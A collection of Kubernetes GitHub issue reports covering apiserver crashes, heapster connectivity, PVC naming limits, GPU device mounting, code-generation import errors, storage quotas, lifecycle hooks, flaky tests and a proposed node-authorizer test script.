kubernetes version: 1.9.2\r - container runtime: docker\r \r  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r bug report\r \r  \r   what happened  :\r i tried to submit a service replace  https://kubernetes.io/docs/api-reference/v1.8/ replace-155  to the kube-apiserver and this results the kube-apiserver container crashing and restarting.\r put localhost:8001/api/v1/namespaces/<namespace>/services/<servicename>\r \r   what you expected to happen  :\r i expected the server not to crash and to get validation errors if the request was invalid.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a service, get the resourceversion and clusterip from the created resource\r get localhost:8001/api/v1/namespaces/<namespace>/services/<servicename>\r \r submit a replace command to\r put localhost:8001/api/v1/namespaces/<namespace>/services/<servicename>\r with body like\r \r    \r {\r     \ kind\ : \ service\ ,\r     \ apiversion\ : \ v1\ ,\r     \ metadata\ : {\r         \ name\ : \ servicename\ ,\r         \ resourceversion\ : \ <resource-id>\ \r     },\r     \ spec\ : {\r         \ ports\ :  \r             {\r                 \ name\ : \ portname\ ,\r                 \ port\ : 80,\r                 \ targetport\ : 80\r             },\r             {\r                 \ name\ : \ anotherport\ ,\r                 \ port\ : 8000,\r                 \ targetport\ : 8000\r             }\r          ,\r         \ selector\ : {\r             \ name\ : \ rstudio-testrstudio\ \r         },\r         \ clusterip\ : \ <cluster-ip>\ ,\r         \ type\ : \ nodeport\ ,\r         \ sessionaffinity\ : \ none\ ,\r         \ externaltrafficpolicy\ : \ cluster\ \r     },\r     \ status\ : {\r         \ loadbalancer\ : {}\r     }\r }\r    \r if the same request is submitted with the nodeport fields in the ports array then the request succeeds.\r    \r \ ports\ :  \r             {\r                 \ name\ : \ portname\ ,\r                 \ port\ : 80,\r                 \ targetport\ : 80,\r                 \ nodeport\ : 32741\r             },\r             {\r                 \ name\ : \ anotherport\ ,\r                 \ port\ : 8000,\r                 \ targetport\ : 8000,\r                 \ nodeport\ : 31431\r             }\r          ,\r    \r i get that i may be sending an invalid request without a node port  though shouldn't the merge deal with that?  but it shouldn't take down the api server.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.3\ , gitcommit:\ 0480917b552be33e2dba47386e51decb1a211df6\ , gittreestate:\ clean\ , builddate:\ 2017-05-10t23:29:08z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2017-10-11t23:16:41z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r bare metal cluster\r \r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts  xenial xerus \r - kernel  e.g.  uname -a  : 4.4.0-98-generic\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r   what happened  :\r when trying to access one of the  top  resources, i get the following error:\r    \r $ kubectl top node worker-01\r error from server  internalerror : an error on the server  \ error: 'dial tcp 10.xx.xx.xx:8082: getsockopt: network is unreachable'\ trying to reach: 'http://10.xx.xx.xx:8082/apis/metrics/v1alpha1/nodes/worker-01?labelselector='\   has prevented the request from succeeding  get services http:heapster: \r    \r a similar error is returned when trying to access any service via  kubectl proxy .\r \r   what you expected to happen  :\r a node's or pod's metrics are displayed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - run kube-apiserver on a control node without cluster networking\r - run weave on worker nodes: https://github.com/weaveworks/weave/releases/download/v2.1.1/weave-daemonset-k8s-1.7.yaml\r - run heapster: https://github.com/kubernetes/heapster/blob/master/deploy/kube-config/standalone/heapster-controller.yaml\r - execute  kubectl top node <any node> \r \r   anything else we need to know?  :\r the service cannot be reached because kube-apiserver is running on a node that isn't part of the cluster network.\r \r this hasn't been an issue so far, as the apiserver usually does not need to connect to clusterips. nodeports and ingresses have been sufficient so far. but this is no longer the case for top, metrics and autoscaling. for these features, the apiserver needs to talk to heapster, which is running in the cluster.\r \r it seems most documentation related to heapster assumes that apiserver can talk to clusterips, but this isn't necessarily the case.\r i haven't found a good way to set this up in my kubernetes environment, except for running kubelet and container networking on the control nodes. this is not something i want to dismiss completely, but i'm looking for a simpler solution in the short term, if possible. documentation also seems a bit scarce.\r \r please extend the heapster-based features in kubernetes so that they can access heapster via some other means than clusterip. nodeports, for example, or an ingress.\r \r otherwise, i'd be interested in documentation pointers on how to add cluster networking to a control node that is not running a container environment. or, is it possible to run heapster directly on control nodes instead?\r \r   environment  :\r - kubernetes version  use  kubectl version  : client 1.7.8 server 1.8.3\r - cloud provider or hardware configuration: cloudstack/vmware\r - os  e.g. from /etc/os-release : centos linux 7  core \r - kernel  e.g.  uname -a  : 3.10.0-514.2.2.el7.x86_64\r - install tools: ansible with custom playbooks\r - others: setup based mostly on https://github.com/kelseyhightower/kubernetes-the-hard-way/ with some customisation.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug report\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r  \r \r   what happened  :\r \r if i use glusterfs provisioner with a pvc name more than 63 characters, provision will fail\r \r the pvc like this:\r \r    \r  root@c2v98 ~   kubectl get pvc -o yaml pvc-123456789012345678901234567890123456789012345678901234567890\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   annotations:\r     volume.beta.kubernetes.io/storage-class: heketi-storageclass\r     volume.beta.kubernetes.io/storage-provisioner: kubernetes.io/glusterfs\r   creationtimestamp: 2017-11-26t16:39:33z\r   name: pvc-123456789012345678901234567890123456789012345678901234567890\r   namespace: default\r   resourceversion: \ 302171\ \r   selflink: /api/v1/namespaces/default/persistentvolumeclaims/pvc-123456789012345678901234567890123456789012345678901234567890\r   uid: 61e23f5e-d2c8-11e7-94d9-525400461b75\r spec:\r   accessmodes:\r   - readwritemany\r   resources:\r     requests:\r       storage: 1gi\r status:\r   phase: pending\r    \r \r and got those events:\r \r    \r  root@c2v98 ~   kubectl describe pvc pvc-123456789012345678901234567890123456789012345678901234567890\r name:          pvc-123456789012345678901234567890123456789012345678901234567890\r namespace:     default\r storageclass:  heketi-storageclass\r status:        pending\r volume:        \r labels:        <none>\r annotations:   volume.beta.kubernetes.io/storage-class=heketi-storageclass\r                volume.beta.kubernetes.io/storage-provisioner=kubernetes.io/glusterfs\r capacity:      \r access modes:  \r events:\r   type     reason              age               from                         message\r   ----     ------              ----              ----                         -------\r   warning  provisioningfailed  21s  x2 over 1m   persistentvolume-controller  failed to provision volume with storageclass \ heketi-storageclass\ : create volume error: failed to create endpoint/service error creating endpoint: endpoints \ glusterfs-dynamic-pvc-123456789012345678901234567890123456789012345678901234567890\  is invalid: metadata.labels: invalid value: \ pvc-123456789012345678901234567890123456789012345678901234567890\ : must be no more than 63 characters\r    \r \r   what you expected to happen  :\r \r the pv should be created if pvc name length is allowed  even more than 63 characters \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a pvc with name more than 63 characters\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8.4\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  : \r - install tools: kubeadm\r - others:\r

uncomment only one, leave it on its own line: \r  \r \r   what happened  :\r     create pod file:\r    \r apiversion: v1\r kind: replicationcontroller\r metadata: {name: gputest2, namespace: hdp-teu-dia}\r spec:\r   replicas: 1\r   template:\r     metadata:\r       labels: {component: gputest2}\r     spec:\r       containers:\r       - command:  /bin/bash, -c, touch /workspace/gputest.$ hostname .syslog && tail -f /workspace/gputest.$ hostname .syslog \r         env:\r         - {name: hadoop_user_name, value: hdp_teu_dia}\r         image: 10.126.98.3:5000/tensorflow.hadoop:1.2.1-gpu-py2-58cluster\r         lifecycle:\r           prestop:\r             exec:\r               command:  /bin/bash, -c, rm -rf /workspace/  \r         name: gputest2\r         ports:\r         - {containerport: 8888}\r         - {containerport: 6006}\r         resources:\r           limits: {alpha.kubernetes.io/nvidia-gpu: '1', cpu: '2', memory: 2g}\r           requests: {cpu: '2', memory: 2g}\r         volumemounts:\r         - {mountpath: /usr/local/nvidia, name: driver, readonly: true}\r         - {mountpath: /workspace, name: workspace}\r       nodeselector: {type: gpu}\r       volumes:\r       - hostpath: {path: /opt/soft/dia/hdp_teu_dia/gputest2}\r         name: workspace\r       - hostpath: {path: /var/lib/nvidia-docker/volumes/nvidia_driver/375.26}\r         name: driver\r    \r i run the tensorflow task inside the container, have a cuda_error_unknown mistakes, more log as follows:\r    \r 2017-12-01 05:09:38.021131: w tensorflow/core/platform/cpu_feature_guard.cc:45  the tensorflow library wasn't compiled to use sse4.1 instructions, but these are available on your machine and could speed up cpu computations.\r 2017-12-01 05:09:38.021191: w tensorflow/core/platform/cpu_feature_guard.cc:45  the tensorflow library wasn't compiled to use sse4.2 instructions, but these are available on your machine and could speed up cpu computations.\r 2017-12-01 05:09:38.021203: w tensorflow/core/platform/cpu_feature_guard.cc:45  the tensorflow library wasn't compiled to use avx instructions, but these are available on your machine and could speed up cpu computations.\r 2017-12-01 05:09:38.021213: w tensorflow/core/platform/cpu_feature_guard.cc:45  the tensorflow library wasn't compiled to use avx2 instructions, but these are available on your machine and could speed up cpu computations.\r 2017-12-01 05:09:38.021221: w tensorflow/core/platform/cpu_feature_guard.cc:45  the tensorflow library wasn't compiled to use fma instructions, but these are available on your machine and could speed up cpu computations.\r 2017-12-01 05:09:38.025098: e tensorflow/stream_executor/cuda/cuda_driver.cc:406  failed call to cuinit: cuda_error_unknown\r 2017-12-01 05:09:38.025211: i tensorflow/stream_executor/cuda/cuda_diagnostics.cc:152  no nvidia gpu device is present: /dev/nvidia0 does not exist\r warning:tensorflow:rank of input tensor  1  should be the same as output_rank  2  for column. will attempt to expand dims. it is highly recommended that you resize your input, as this behavior may change.\r warning:tensorflow:rank of input tensor  1  should be the same as output_rank  2  for column. will attempt to expand dims. it is highly recommended that you resize your input, as this behavior may change.\r warning:tensorflow:rank of input tensor  1  should be the same as output_rank  2  for column. will attempt to expand dims. it is highly recommended that you resize your input, as this behavior may change.\r warning:tensorflow:rank of input tensor  1  should be the same as output_rank  2  for column. will attempt to expand dims. it is highly recommended that you resize your input, as this behavior may change.\r warning:tensorflow:rank of input tensor  1  should be the same as output_rank  2  for column. will attempt to expand dims. it is highly recommended that you resize your input, as this behavior may change.\r warning:tensorflow:from /usr/local/lib/python2.7/dist-packages/tensorflow/contrib/layers/python/layers/feature_column.py:2306: calling sparse_feature_cross  from tensorflow.contrib.layers.python.ops.sparse_feature_cross_op  with hash_key=none is deprecated and will be removed after 2016-11-20.\r instructions for updating:\r the default behavior of sparse_feature_cross is changing, the default\r value for hash_key will change to sparse_feature_cross_default_hash_key.\r from that point on sparse_feature_cross will always use fingerprintcat64\r to concatenate the feature fingerprints. and the underlying\r _sparse_feature_cross_op.sparse_feature_cross operation will be marked\r as deprecated.\r    \r     other instructions\r container to run the command: ls /dev\r    \r root@gputest2-d7kj9:/notebooks  ll /dev | grep nvidia\r crw-rw-rw-  1 root root 243,   0 dec  1 06:52 nvidia-uvm\r crw-rw-rw-  1 root root 195,   1 dec  1 06:51 nvidia1\r crw-rw-rw-  1 root root 195, 255 dec  1 06:51 nvidiactl\r    \r the host machine run the command: ls /dev\r    \r  work  @tjtx135-1-216 ~ $ ls /dev | grep nvidia\r nvidia0\r nvidia1\r nvidiactl\r nvidia-uvm\r    \r     the problem\r   why didn't containers/dev/nvidia0 equipment?\r   why log tips /dev/nvidia0, mounted in the container /dev/nvidia1? both don't match.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use kubectl version :1.6.1\r - docker version 1.12.2, build bb80604\r - centos linux release 7.2.1511  core \r - kernel  e.g. uname -a : 3.10.0-327.el7.x86_64\r - nvidia: tesla k40c\r - nvidia driver version: 375.26\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r  \r   what happened  :\r when running the  openapi-gen  code generator in the  kubernetes/cluster-registry  https://github.com/kubernetes/cluster-registry  repo executed by the  lines in this script  https://github.com/kubernetes/cluster-registry/blob/1dbd8e00c25532ca111a88d0c060bdd8ea47ebc1/hack/update-codegen.sh l114-l120 , i see several  could not import <some-package-import-path>  errors for dependencies that are located within the vendor directory of the repo. for example:\r \r    \r i1220 16:35:12.455910    9557 parse.go:418  type checker: /tmp/gopathnu5sci0j/src/k8s.io/apimachinery/pkg/apis/meta/v1/micro_time.go:23:10: could not import k8s.io/kube-openapi/pkg/common  unable to import \ k8s.io/kube-openapi/pkg/common\ : cannot find package \ k8s.io/kube-openapi/pkg/common\  in any of:\r \t/usr/local/go/src/k8s.io/kube-openapi/pkg/common  from $goroot \r \t/tmp/gopathnu5sci0j/src/k8s.io/kube-openapi/pkg/common  from $gopath  \r    \r the reason for these errors is that the  type checker  seems to want the import located in the src directory of either the go toolchain installation or the gopath.\r \r can we instead allow the tool to search a particular comma separated list of directories? this would allow one to specify the vendor directory within their repo to satisfy them all.\r \r \r   what you expected to happen  :\r all dependencies found.\r \r   how to reproduce it  as minimally and precisely as possible   :\r to reproduce this, add  --v=10  and possibly also  --logtostderr   or just look for the file  /tmp/openapi-gen.    in the  openapi-gen  step at: https://github.com/kubernetes/cluster-registry/blob/cc52bb00104bda72a2a14fdf49d71630e81c1fe8/hack/update-codegen.sh l114-l120\r to see all the errors.\r \r @kubernetes/sig-api-machinery-feature-requests\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r on this page\r https://kubernetes.io/docs/admin/high-availability/building/\r \r the link to etcd.yaml returns 404\r https://kubernetes.io/docs/admin/high-availability/etcd.yaml \r \r   what you expected to happen  :\r sample etcd.yaml to be present\r \r   how to reproduce it  as minimally and precisely as possible   :\r open a browser and navigate to the the link...\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r https://github.com/kubernetes/kubernetes/blob/df29573ec50375e831d833e27c63c23a88b983e8/pkg/volume/azure_dd/azure_dd.go l170\r \r   what would you like to be added  :\r related to https://github.com/kubernetes/kubernetes/issues/77309\r \r   why is this needed  :\r \r /assign\r 

today no process on the node manages the amount of storage in use for: - container cow layers  the container's writable directory  - empty dir volumes - docker volumes created implicitly on startup of the container  since neither docker nor the host operating system can totally manage this, i think it should be possible to have a management loop in / around the kubelet to control the total usage of these elements.  today, it's possible to write to the empty dir until you fill the filesystem, at which point all pods fail.  you _could_ set quotas  if the uids of the processes are different , but that requires all your pods to be running unique uids  or set quota to a multiple of the count of the pods with the same uid which doesn't protect against bad actors .  i would propose the following - add something to cadvisor to track top layer cow usage where possible for the filesystems that can provide it    - docker today does not expose this - we could potentially add an abstraction endpoint there, or do the checks directly against devmapper / overlay - in the kubelet, honor a resource limit for usage of emptydir  per mount / pod?  as well as the cow filesystem with a simple check loop.   - in situations where the container cow layer has exceeded the maximum, restart the container gracefully  this is hard to do outside of the kubelet today    - in situations where the emptydir has exceeded size... do something?? - report the volume and cow metrics up through cadvisor - support read only containers through docker as a pod setting and allow it to be controlled via pod policy or similar  user cannot set non-readonly containers  - be able to deny emptydir volumes via pod policy or forcibly limit them to a specific size.

it looks like at some point the prestop hook stopped working for httpget. i say this because it looks like it used to be supported according to some prs i've seen and documentation i've found here: \r \r    \r http://kubernetes.io/docs/user-guide/container-environment/ container-hooks\r    \r \r however, i cannot get it to work. the exec directive seems to work just fine though. below is the relevant part of the configuration:\r \r    \r     \ containers\ :  {\r         \ name\ : \ vertx-docker-example-fabric\ ,\r         \ image\ : \ vertx/vertx3-example-fabric8\ ,\r         \ ports\ :  {\r             \ name\ : \ http\ ,\r             \ containerport\ : 8080,\r             \ protocol\ : \ tcp\ \r         } ,\r         \ lifecycle\ : {\r             \ prestop\ : {\r                 \ httpget\ : {\r                     \ path\ : \ /v1/close\ ,\r                     \ port\ : 8080\r                 }\r             }\r         }\r     } \r    \r \r here is the version output from our kubernetes implementation as well:\r \r    \r client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0+5cb86ee\ , gitcommit:\ 5cb86ee022267586db386f62781338b0483733b3\ , gittreestate:\ not a git tree\ }\r \r server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.0-36-g4a3f9c5\ , gitcommit:\ ef1caba\ , gittreestate:\ not a git tree\ }\r    \r \r i can curl the endpoint above just fine from outside of vagrant as well as inside vagrant and inside the container itself,  using nodeports from outside  so i know the endpoint itself is available. it just seems that kubernetes never sends this get request when shutting down a pod.\r \r can someone verify that this does or does not work?\r \r thanks!\r \r yong kim\r

@jingxu97 noticed  https://github.com/kubernetes/kubernetes/issues/28081 issuecomment-251457653  that a lot of the  pod disks should...  pd e2e tests are very flaky on gci because  kubectl exec  is incorrectly returning an empty string.  jing's report:  > since last week we noticed that all 6 pd tests become flaky for only gci image. the failures are all similar, create a pd, write a string to a file  echo $string > $file  and read  cat $file  with \ kubectl exec\  command. sometimes cat command returns empty string. through investigation, we found out that the data is written to the file successfully, mounts are all fine. the only problem is that \ kubectl exec\  with cat command sometimes returns empty string in stdout. the following three tests prove this point. >  > 1  use the existing pd test, but instead of reading once, read the file in a loop for 100 times. sometime, in the middle of these 100 reading, one read returns empty string and all the rest are fine. >  > 2  manually create a pod, use \ kubectl\  command with \ echo > \  to write some string to a file. and then run a bash script to create a loop to issue \ kubectl\  command with \ cat <file>\  many times. the cat returns the string. but after about 100 runs, cat returns empty string. and then run the loop again, it returns normally for about 300 times, then fails to return the string again. in the mean time, the data and mounts are untouched.  >  > 3  as saad suggest, to make sure this is not caused by \ cat\  commdn, we create a pod. in pod spec's container section, add a command inside of a container to write data to a file and then repeatedly read the file with 'cat' for 1000 times. use \ kubectl log <pod>\  to check to output from the container and they are all fine. >  > now the conclusion is that the issue is not related to storage side. \ kubectl\  command with \ cat\  command sometimes could not return the output correctly. since this command execution involves several steps, passing the input command to container, executing the command, and returning the execution output from the container to the terminal, need to investigate more to find the root cause. >  > please let me know if you have any question.  cc @pwittrock   step two is a good way to repro this.

in kubemark-500, we are bumping qps limits for clients in controller-amanger to 100.\r https://github.com/kubernetes/test-infra/blob/master/jobs/ci-kubernetes-kubemark-500-gce.sh l42\r \r however, it seems the replicationcontroller is creating pods significantly faster than 100 per second.\r from the logs from:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-kubemark-500-gce/642?log log\r    \r i1207 00:19:24.543  i1207 00:19:24.543499    9233 runners.go:120  created replication controller with name: density15000-0-dcd07081-bc55-11e6-9e64-0242ac110005, namespace: e2e-tests-density-100-1-c20xv, replica count: 0xc42e2ca34c\r i1207 00:19:24.549  i1207 00:19:24.549245    9233 runners.go:120  created replication controller with name: density15000-3-dcd07081-bc55-11e6-9e64-0242ac110005, namespace: e2e-tests-density-100-4-brbqf, replica count: 0xc42c885ca4\r i1207 00:19:24.549  i1207 00:19:24.549350    9233 runners.go:120  created replication controller with name: density15000-4-dcd07081-bc55-11e6-9e64-0242ac110005, namespace: e2e-tests-density-100-5-ph9b9, replica count: 0xc42d7b42ac\r i1207 00:19:24.549  i1207 00:19:24.549584    9233 runners.go:120  created replication controller with name: density15000-2-dcd07081-bc55-11e6-9e64-0242ac110005, namespace: e2e-tests-density-100-3-tvqj3, replica count: 0xc42e86dc7c\r i1207 00:19:24.571  i1207 00:19:24.570795    9233 runners.go:120  created replication controller with name: density15000-1-dcd07081-bc55-11e6-9e64-0242ac110005, namespace: e2e-tests-density-100-2-qm9px, replica count: 0xc42dc7fe7c\r i1207 00:19:34.527  dec  7 00:19:34.526: info: density pods: 1178 out of 15000 created, 883 running, 141 pending, 154 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i1207 00:19:44.529  dec  7 00:19:44.528: info: density pods: 2182 out of 15000 created, 1880 running, 137 pending, 165 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i1207 00:19:54.530  dec  7 00:19:54.530: info: density pods: 3489 out of 15000 created, 2876 running, 136 pending, 477 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i1207 00:20:04.532  dec  7 00:20:04.532: info: density pods: 5857 out of 15000 created, 3878 running, 131 pending, 1848 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i1207 00:20:14.534  dec  7 00:20:14.534: info: density pods: 8718 out of 15000 created, 4872 running, 135 pending, 3711 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i1207 00:20:24.537  dec  7 00:20:24.536: info: density pods: 11044 out of 15000 created, 5876 running, 131 pending, 5037 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i1207 00:20:34.538  dec  7 00:20:34.538: info: density pods: 12943 out of 15000 created, 6865 running, 141 pending, 5937 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i1207 00:20:44.543  dec  7 00:20:44.542: info: density pods: 14328 out of 15000 created, 7878 running, 126 pending, 6324 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotready \r i1207 00:20:54.541  dec  7 00:20:54.540: info: density pods: 14998 out of 15000 created, 8883 running, 121 pending, 5994 waiting, 0 inactive, 0 terminating, 0 unknown, 0 runningbutnotr\r    \r \r this pretty much means that we created 15000 pods within 90s which gives more than 100 pods/s on average.\r \r seems like a bug.\r \r @kubernetes/sig-api-machinery

this suite is broken just because of one test -   k8s.io  federation apiserver  feature:federation  cluster objects  serial  should be created and deleted successfully . this is broken because we join the clusters to federation while bringing up e2e federation control plane and we try to repeat the same operation in the test. \r \r the simplest fix is to use a different name for the cluster object.

failure cluster  4943e1fb3a8b1700e80c  https://go.k8s.io/triage 4943e1fb3a8b1700e80c        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:334 expected error:     <exec.codeexiterror>: {         err: {             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.188.0.39 --kubeconfig=/workspace/.kube/config create -f examples/storage/cassandra/cassandra-service.yaml --namespace=e2e-tests-examples-36mlv      <nil>  error: the path \\\ examples/storage/cassandra/cassandra-service.yaml\\\  does not exist\     <nil> 0xc421d9c8a0 exit status 1 <nil> <nil> true  0xc42000e598 0xc42000e5f8 0xc42000e6b0   0xc42000e598 0xc42000e5f8 0xc42000e6b0   0xc42000e5e0 0xc42000e6a0   0x153bc70 0x153bc70  0xc420d7a780 <nil>}:\ command stdout:\ \ stderr:\ error: the path \\\ examples/storage/cassandra/cassandra-service.yaml\\\  does not exist\ \ error:\ exit status 1\ \ ,         },         code: 1,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.188.0.39 --kubeconfig=/workspace/.kube/config create -f examples/storage/cassandra/cassandra-service.yaml --namespace=e2e-tests-examples-36mlv      <nil>  error: the path \ examples/storage/cassandra/cassandra-service.yaml\  does not exist         <nil> 0xc421d9c8a0 exit status 1 <nil> <nil> true  0xc42000e598 0xc42000e5f8 0xc42000e6b0   0xc42000e598 0xc42000e5f8 0xc42000e6b0   0xc42000e5e0 0xc42000e6a0   0x153bc70 0x153bc70  0xc420d7a780 <nil>}:     command stdout:          stderr:     error: the path \ examples/storage/cassandra/cassandra-service.yaml\  does not exist          error:     exit status 1      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2095           failure cluster statistics: 16 tests failed,    31 jobs failed,    104 builds failed. failure stats cover 1 day time range '4 may 2017 18:54 utc' to '5 may 2017 18:54 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic  should provide basic identity | 6 | |  k8s.io  kubectl client  k8s.io  kubectl taint should remove all the taints with the same key off a node | 5 | |  k8s.io  upgrade  feature:upgrade   k8s.io  master upgrade should maintain a functioning cluster  feature:masterupgrade  | 5 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-examples | 25 |  5 may 2017 17:56 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-examples/5541  | | ci-kubernetes-e2e-gci-gce-examples | 23 |  5 may 2017 17:49 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-examples/4852  | | ci-kubernetes-e2e-gke-1.4-1.5-gci-kubectl-skew | 9 |  5 may 2017 18:26 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-1.4-1.5-gci-kubectl-skew/11922  |   current status  https://go.k8s.io/triage 4943e1fb3a8b1700e80c

is this a bug report or feature request?    choose one :\r \r testing request\r \r spawned from: https://github.com/kubernetes/kubernetes/pull/46879\r it would be nice with some e2e tests for the node authorizer so consumers of it  kubeadm, gce, gke, etc.  could easily make sure it's enabled and working, just by editing  ginkgo.focus  when running e2e's.\r \r i wrote a quick bash script of what it could do:\r \r    bash\r if    $ kubectl version 2>&1 | grep \ client\  | grep 'minor:\ 7'  == \ \    ; then\r \techo \ kubectl v1.7.0-beta.0 or higher is required\ \r \texit 1\r fi\r \r export kubeconfig=/etc/kubernetes/admin.conf\r impersonate=\ --as system:node:thegopher --as-group system:nodes\ \r \r printf \ testing: getting a non-existent secret should exit with the forbidden error, not a notfound error  \ \r     $ kubectl ${impersonate} get secret foo 2>&1 | grep \ forbidden\   != \ \     && printf \ passed!\ \   || printf \ failed!\ \ \r \r printf \ testing: getting an existent secret should exit with the forbidden error  \ \r     $ kubectl ${impersonate} get secret $ kubectl get secret | grep token | awk '{print $1}'  2>&1 | grep \ forbidden\   != \ \     && printf \ passed!\ \   || printf \ failed!\ \ \r \r printf \ testing: getting a secret for a workload the node has access to should succeed  \ \r kubectl ${impersonate} -n kube-system get secrets $ kubectl -n kube-system get secret | grep kube-proxy | awk '{print $1}'  1>/dev/null 2>/dev/null\r     $? == 0    && printf \ passed!\ \   || printf \ failed!\ \ \r \r printf \ testing: a node shouldn't be able to create an other node  \ \r echo '{\ apiversion\ :\ v1\ ,\ kind\ :\ node\ ,\ metadata\ :{\ name\ :\ foo\ }}' | kubectl delete -f - 1>/dev/null 2>/dev/null\r echo '{\ apiversion\ :\ v1\ ,\ kind\ :\ node\ ,\ metadata\ :{\ name\ :\ foo\ }}' | kubectl ${impersonate} --validate=false create -f - 1>/dev/null 2>/dev/null\r     $? == 1    && printf \ passed!\ \   || printf \ failed!\ \ \r    \r \r the bash script above is in no way comprehensive enough, but on the other hand it took  ~5mins to write : \r \r for now  1.7 , we might use something like this bash script in our kubeadm e2e ci job to make sure the node authorizer/admission plugin is enabled correctly.\r \r cc @kubernetes/sig-cluster-lifecycle-feature-requests @kubernetes/sig-auth-feature-requests

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r master\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r this is a follow up request for https://github.com/kubernetes/kubernetes/pull/47317\r \r it is better to support  admission_control  as an env var so that we do not need to update it every time when a new admission control is added.\r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible 